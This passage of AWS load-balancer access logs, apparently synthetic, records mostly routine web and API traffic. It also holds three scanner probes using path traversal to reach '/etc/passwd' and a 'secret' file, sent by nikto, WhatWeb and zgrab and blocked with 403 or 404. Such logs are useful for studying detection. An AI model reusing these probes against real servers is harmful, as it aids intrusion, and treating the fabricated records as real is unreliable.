Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca94-a7c68d844c414c3181ef4fd5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:21:08.581836Z "forward" "-" "-" "10.0.7.129:443" "200" "-" "-" +https 2024-11-01T01:21:10.229610Z prod-web-alb 17.127.41.92:26859 10.0.57.88:443 0.014042 0.351345 0.060441 301 301 2 14718 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca96-ba2a6231de8a49cb84b6b60d" "prod-web-alb.example.com" "-" 5 2024-11-01T01:21:10.229610Z "forward" "-" "-" "10.0.57.88:443" "301" "-" "-" +https 2024-11-01T01:21:10.427587Z prod-api-alb 12.88.131.64:62937 10.0.234.77:443 0.013804 0.367113 0.047894 302 302 339 807 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca96-e22cc8c32956446b83dc23e0" "prod-api-alb.example.com" "-" 6 2024-11-01T01:21:10.427587Z "forward" "-" "-" "10.0.234.77:443" "302" "-" "-" +https 2024-11-01T01:21:11.810477Z prod-web-alb 15.66.241.151:29164 10.0.28.4:443 0.051936 0.069002 0.084653 200 200 293 12991 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca97-9f4cf87748f84cf88d2cd0df" "prod-web-alb.example.com" "-" 10 2024-11-01T01:21:11.810477Z "forward" "-" "-" "10.0.28.4:443" "200" "-" "-" +https 2024-11-01T01:21:12.678213Z prod-web-alb 243.2.237.235:63160 10.0.45.70:443 0.041567 0.492798 0.096351 200 200 185 10331 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca98-bd7d1ff7c730464b8a1d1988" "prod-web-alb.example.com" "-" 9 2024-11-01T01:21:12.678213Z "forward" "-" "-" "10.0.45.70:443" "200" "-" "-" +https 2024-11-01T01:21:13.257011Z staging-alb 91.230.162.52:41273 205.234.145.120:8080 0.057071 0.559209 0.088670 200 200 25 2524 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca99-fb202c7a003f4e8aa8d024c4" "staging-alb.example.com" "-" 6 2024-11-01T01:21:13.257011Z "forward" "-" "-" "205.234.145.120:8080" "200" "-" "-" +http 2024-11-01T01:21:13.977852Z staging-alb 56.223.27.233:39460 140.121.253.170:80 0.104847 0.692629 0.056137 404 404 52 14756 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca99-b3e6c59bca834350b72eb7c2" "staging-alb.example.com" "-" 7 2024-11-01T01:21:13.977852Z "forward" "-" "-" "140.121.253.170:80" "404" "-" "-" +https 2024-11-01T01:21:14.795590Z prod-web-alb 108.86.166.5:59425 10.0.139.8:443 0.056325 0.443759 0.099731 200 200 933 11066 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca9a-ddfec4e0d7f14b6b8c8fbe42" "prod-web-alb.example.com" "-" 2 2024-11-01T01:21:14.795590Z "forward" "-" "-" "10.0.139.8:443" "200" "-" "-" +https 2024-11-01T01:21:15.199446Z prod-api-alb 221.114.169.19:21163 10.0.238.223:443 0.000886 0.373171 0.095299 200 200 340 8095 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca9b-94dbc3cf2a71457b96791064" "prod-api-alb.example.com" "-" 8 2024-11-01T01:21:15.199446Z "forward" "-" "-" "10.0.238.223:443" "200" "-" "-" +https 2024-11-01T01:21:15.692802Z prod-web-alb 33.238.148.103:63779 10.0.21.170:443 0.085953 0.302386 0.094571 200 200 823 7154 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca9b-0bf09032f4b84aa7ad44d028" "prod-web-alb.example.com" "-" 3 2024-11-01T01:21:15.692802Z "forward" "-" "-" "10.0.21.170:443" "200" "-" "-" +https 2024-11-01T01:21:16.000694Z prod-api-alb 12.21.246.206:28786 10.0.199.122:443 0.087305 0.422264 0.075170 200 200 914 768 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca9c-5e093a5ab3ec4c43a90b8d7d" "prod-api-alb.example.com" "-" 6 2024-11-01T01:21:16.000694Z "forward" "-" "-" "10.0.199.122:443" "200" "-" "-" +https 2024-11-01T01:21:17.056659Z prod-api-alb 151.59.240.68:41611 10.0.107.226:443 0.087371 0.469269 0.008124 200 200 556 720 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca9d-f5e9d77d7e564409a74b4f5b" "prod-api-alb.example.com" "-" 0 2024-11-01T01:21:17.056659Z "forward" "-" "-" "10.0.107.226:443" "200" "-" "-" +https 2024-11-01T01:21:18.636830Z prod-api-alb 20.154.138.139:61311 10.0.121.35:443 0.028457 0.273470 0.077425 404 404 361 7925 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca9e-bc7a41018f0b42ad9ae36403" "prod-api-alb.example.com" "-" 2 2024-11-01T01:21:18.636830Z "forward" "-" "-" "10.0.121.35:443" "404" "-" "-" +https 2024-11-01T01:21:19.037736Z prod-web-alb 86.210.70.112:49658 10.0.120.191:443 0.021872 0.339257 0.086366 302 302 19 8886 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca9f-78b43791b6714fa6b41c7928" "prod-web-alb.example.com" "-" 4 2024-11-01T01:21:19.037736Z "forward" "-" "-" "10.0.120.191:443" "302" "-" "-" +https 2024-11-01T01:21:19.585693Z prod-api-alb 201.253.136.148:50202 10.0.157.165:443 0.083658 0.206099 0.010788 200 200 565 9880 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca9f-9ad8733873d0440ea0fbeaec" "prod-api-alb.example.com" "-" 1 2024-11-01T01:21:19.585693Z "forward" "-" "-" "10.0.157.165:443" "200" "-" "-" +https 2024-11-01T01:21:20.232596Z prod-web-alb 199.106.19.117:60159 10.0.113.174:443 0.067322 0.244297 0.060265 302 302 569 3525 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caa0-a0838887242c4c38873e7479" "prod-web-alb.example.com" "-" 10 2024-11-01T01:21:20.232596Z "forward" "-" "-" "10.0.113.174:443" "302" "-" "-" +https 2024-11-01T01:21:21.190395Z prod-web-alb 45.155.205.157:43680 10.0.187.166:443 0.034009 0.265097 0.050645 403 403 492 8900 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caa1-65228e59744a41f1a11b4b73" "-" "-" 8 2024-11-01T01:21:21.190395Z "forward" "-" "-" "10.0.187.166:443" "403" "-" "-" +https 2024-11-01T01:21:21.919419Z prod-web-alb 109.60.68.33:28999 10.0.115.161:443 0.070919 0.014341 0.024681 200 200 459 9472 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caa1-edafe88dd4e14f469d193f34" "prod-web-alb.example.com" "-" 8 2024-11-01T01:21:21.919419Z "forward" "-" "-" "10.0.115.161:443" "200" "-" "-" +https 2024-11-01T01:21:22.924523Z prod-web-alb 144.103.75.254:61123 10.0.186.39:443 0.087004 0.046666 0.050242 301 301 753 9588 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caa2-bed9af025687437aa30769e2" "prod-web-alb.example.com" "-" 7 2024-11-01T01:21:22.924523Z "forward" "-" "-" "10.0.186.39:443" "301" "-" "-" +https 2024-11-01T01:21:24.594054Z prod-web-alb 201.25.116.196:14592 10.0.27.152:443 0.067581 0.207231 0.024932 200 200 113 11530 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caa4-05a6bd3c84264ddcac09adac" "prod-web-alb.example.com" "-" 9 2024-11-01T01:21:24.594054Z "forward" "-" "-" "10.0.27.152:443" "200" "-" "-" +https 2024-11-01T01:21:26.047374Z prod-api-alb 100.172.211.151:59449 10.0.242.98:443 0.004129 0.482530 0.069571 200 200 604 9846 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caa6-bbd9694a0b56412bacbafb44" "prod-api-alb.example.com" "-" 3 2024-11-01T01:21:26.047374Z "forward" "-" "-" "10.0.242.98:443" "200" "-" "-" +https 2024-11-01T01:21:27.280177Z prod-web-alb 105.142.45.3:12737 10.0.176.251:443 0.057195 0.323933 0.088561 302 302 817 9308 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caa7-09399c634eb9461da84d0450" "prod-web-alb.example.com" "-" 6 2024-11-01T01:21:27.280177Z "forward" "-" "-" "10.0.176.251:443" "302" "-" "-" +http 2024-11-01T01:21:28.020488Z staging-alb 153.0.39.107:50282 144.120.86.135:443 0.105580 0.404130 0.041671 302 302 640 5607 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caa8-6e28e9cb2fcd4f589b028193" "staging-alb.example.com" "-" 10 2024-11-01T01:21:28.020488Z "forward" "-" "-" "144.120.86.135:443" "302" "-" "-" +http 2024-11-01T01:21:29.132157Z staging-alb 76.251.96.141:39227 77.54.14.36:80 0.140457 0.527545 0.012874 200 200 371 11533 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caa9-bf21192837ec48988da67543" "staging-alb.example.com" "-" 0 2024-11-01T01:21:29.132157Z "forward" "-" "-" "77.54.14.36:80" "200" "-" "-" +https 2024-11-01T01:21:30.313219Z prod-api-alb 65.177.201.22:22314 10.0.1.23:443 0.079784 0.443463 0.099293 301 301 776 7465 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caaa-c65193b910134c5bb85c32d6" "prod-api-alb.example.com" "-" 5 2024-11-01T01:21:30.313219Z "forward" "-" "-" "10.0.1.23:443" "301" "-" "-" +https 2024-11-01T01:21:31.120468Z prod-web-alb 218.160.32.145:39692 10.0.91.139:443 0.082385 0.197823 0.063258 404 404 185 1800 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caab-9849f16c361345748d4d3f40" "prod-web-alb.example.com" "-" 5 2024-11-01T01:21:31.120468Z "forward" "-" "-" "10.0.91.139:443" "404" "-" "-" +https 2024-11-01T01:21:31.341948Z staging-alb 69.197.223.64:43754 120.77.59.163:443 0.016147 0.649154 0.148790 200 200 760 12458 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caab-194babf289214266adbf8b48" "staging-alb.example.com" "-" 7 2024-11-01T01:21:31.341948Z "forward" "-" "-" "120.77.59.163:443" "200" "-" "-" +https 2024-11-01T01:21:32.168824Z prod-web-alb 30.111.136.234:61356 10.0.155.160:443 0.037752 0.140735 0.075347 200 200 55 9730 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caac-51fe18e385584afaaeb51420" "prod-web-alb.example.com" "-" 9 2024-11-01T01:21:32.168824Z "forward" "-" "-" "10.0.155.160:443" "200" "-" "-" +https 2024-11-01T01:21:33.553576Z prod-api-alb 158.219.75.67:43493 10.0.184.109:443 0.080924 0.347354 0.093777 301 301 782 12587 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723caad-41b58351710a4b2a93a6eaae" "prod-api-alb.example.com" "-" 4 2024-11-01T01:21:33.553576Z "forward" "-" "-" "10.0.184.109:443" "301" "-" "-" +https 2024-11-01T01:21:35.198205Z prod-api-alb 228.208.148.183:35625 10.0.155.17:443 0.019188 0.245845 0.023227 302 302 246 3789 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723caaf-dcddcd9a12f04061b8955741" "prod-api-alb.example.com" "-" 9 2024-11-01T01:21:35.198205Z "forward" "-" "-" "10.0.155.17:443" "302" "-" "-" +https 2024-11-01T01:21:36.498047Z prod-web-alb 34.134.221.145:40619 10.0.141.195:443 0.022799 0.423316 0.086149 200 200 241 12966 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cab0-8d5f6d5639d7468fac0d9d81" "prod-web-alb.example.com" "-" 2 2024-11-01T01:21:36.498047Z "forward" "-" "-" "10.0.141.195:443" "200" "-" "-" +https 2024-11-01T01:21:38.031367Z prod-web-alb 99.156.19.240:40613 10.0.205.22:443 0.023963 0.105667 0.051182 200 200 901 5997 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cab2-5b5b2f15a3a84e408a0df662" "prod-web-alb.example.com" "-" 8 2024-11-01T01:21:38.031367Z "forward" "-" "-" "10.0.205.22:443" "200" "-" "-" +http 2024-11-01T01:21:39.590835Z staging-alb 197.194.10.93:57861 51.231.92.78:443 0.080485 0.722692 0.027164 200 200 716 8339 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cab3-bee748b9f2e8408b9b2d73d8" "staging-alb.example.com" "-" 3 2024-11-01T01:21:39.590835Z "forward" "-" "-" "51.231.92.78:443" "200" "-" "-" +https 2024-11-01T01:21:40.841014Z prod-web-alb 98.30.178.75:27688 10.0.73.245:443 0.051871 0.320640 0.013402 200 200 308 10794 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cab4-43fce982cfb1409196d142e4" "prod-web-alb.example.com" "-" 4 2024-11-01T01:21:40.841014Z "forward" "-" "-" "10.0.73.245:443" "200" "-" "-" +http 2024-11-01T01:21:41.414516Z staging-alb 129.203.159.0:35138 147.226.15.206:8080 0.126797 0.301666 0.063852 200 200 724 9467 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cab5-95224ccc16bf4815ac802f56" "staging-alb.example.com" "-" 0 2024-11-01T01:21:41.414516Z "forward" "-" "-" "147.226.15.206:8080" "200" "-" "-" +http 2024-11-01T01:21:43.400703Z staging-alb 75.78.126.150:32829 49.141.222.195:80 0.063566 0.637278 0.115002 200 200 152 1515 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cab7-4fa457255f964759a9080189" "staging-alb.example.com" "-" 9 2024-11-01T01:21:43.400703Z "forward" "-" "-" "49.141.222.195:80" "200" "-" "-" +https 2024-11-01T01:21:44.219782Z prod-api-alb 82.76.155.218:46939 10.0.1.28:443 0.038814 0.135269 0.021187 302 302 964 11893 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cab8-b7956c8fc48246d791226fc4" "prod-api-alb.example.com" "-" 6 2024-11-01T01:21:44.219782Z "forward" "-" "-" "10.0.1.28:443" "302" "-" "-" +https 2024-11-01T01:21:46.080140Z staging-alb 247.128.18.40:25573 202.60.254.252:80 0.084239 0.066660 0.020748 200 200 333 12069 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caba-444dc94f5a894d578d3b6c85" "staging-alb.example.com" "-" 2 2024-11-01T01:21:46.080140Z "forward" "-" "-" "202.60.254.252:80" "200" "-" "-" +https 2024-11-01T01:21:47.183029Z prod-web-alb 65.43.189.92:58751 10.0.38.47:443 0.031653 0.319307 0.069329 200 200 911 5472 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cabb-327411742c81487ebac801d7" "prod-web-alb.example.com" "-" 8 2024-11-01T01:21:47.183029Z "forward" "-" "-" "10.0.38.47:443" "200" "-" "-" +https 2024-11-01T01:21:47.763985Z prod-api-alb 252.74.62.136:42878 10.0.81.35:443 0.041502 0.419695 0.015106 302 302 509 14237 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cabb-596e92c6ce77463ea97d1b85" "prod-api-alb.example.com" "-" 10 2024-11-01T01:21:47.763985Z "forward" "-" "-" "10.0.81.35:443" "302" "-" "-" +http 2024-11-01T01:21:48.654652Z staging-alb 197.14.124.87:18639 178.211.60.53:80 0.121873 0.381382 0.149308 200 200 68 9235 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cabc-fab002f322704941bdd64fde" "staging-alb.example.com" "-" 6 2024-11-01T01:21:48.654652Z "forward" "-" "-" "178.211.60.53:80" "200" "-" "-" +https 2024-11-01T01:21:50.375118Z prod-web-alb 78.33.48.196:29042 10.0.116.243:443 0.045465 0.058750 0.054654 302 302 55 6157 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cabe-5b2d04ebd0274a13a2419c30" "prod-web-alb.example.com" "-" 9 2024-11-01T01:21:50.375118Z "forward" "-" "-" "10.0.116.243:443" "302" "-" "-" +https 2024-11-01T01:21:50.765005Z prod-api-alb 152.151.16.203:63660 10.0.254.242:443 0.058561 0.299447 0.096138 200 200 116 13115 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cabe-31e0147d343845e98b284ad9" "prod-api-alb.example.com" "-" 2 2024-11-01T01:21:50.765005Z "forward" "-" "-" "10.0.254.242:443" "200" "-" "-" +http 2024-11-01T01:21:52.197899Z staging-alb 193.27.228.135:47362 192.86.55.121:80 0.064276 0.159111 0.033390 404 404 389 8023 "GET /../../../etc/passwd HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cac0-2019bfbd2b3e405aa9ff8b60" "-" "-" 6 2024-11-01T01:21:52.197899Z "forward" "-" "-" "192.86.55.121:80" "404" "-" "-" +https 2024-11-01T01:21:53.275075Z prod-api-alb 235.6.163.128:31327 10.0.178.251:443 0.066170 0.398515 0.095701 302 302 84 10021 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cac1-ba8ec9e4bc634329bc46ad3b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:21:53.275075Z "forward" "-" "-" "10.0.178.251:443" "302" "-" "-" +https 2024-11-01T01:21:53.819367Z prod-web-alb 177.39.196.211:31909 10.0.10.34:443 0.084719 0.064122 0.060560 200 200 240 971 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cac1-34162046a30c49c09d2b2844" "prod-web-alb.example.com" "-" 1 2024-11-01T01:21:53.819367Z "forward" "-" "-" "10.0.10.34:443" "200" "-" "-" +https 2024-11-01T01:21:54.328602Z prod-web-alb 193.27.228.174:61138 10.0.50.174:443 0.067148 0.341902 0.029815 404 404 53 486 "GET /static/../../secret HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cac2-a5a586c0261d486989edbb8d" "-" "-" 1 2024-11-01T01:21:54.328602Z "forward" "-" "-" "10.0.50.174:443" "404" "-" "-" +http 2024-11-01T01:21:54.598178Z staging-alb 98.48.161.99:14398 136.139.60.43:8080 0.071639 0.121349 0.000008 200 200 277 5026 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cac2-6c92cd68c3b1424a871d54e5" "staging-alb.example.com" "-" 5 2024-11-01T01:21:54.598178Z "forward" "-" 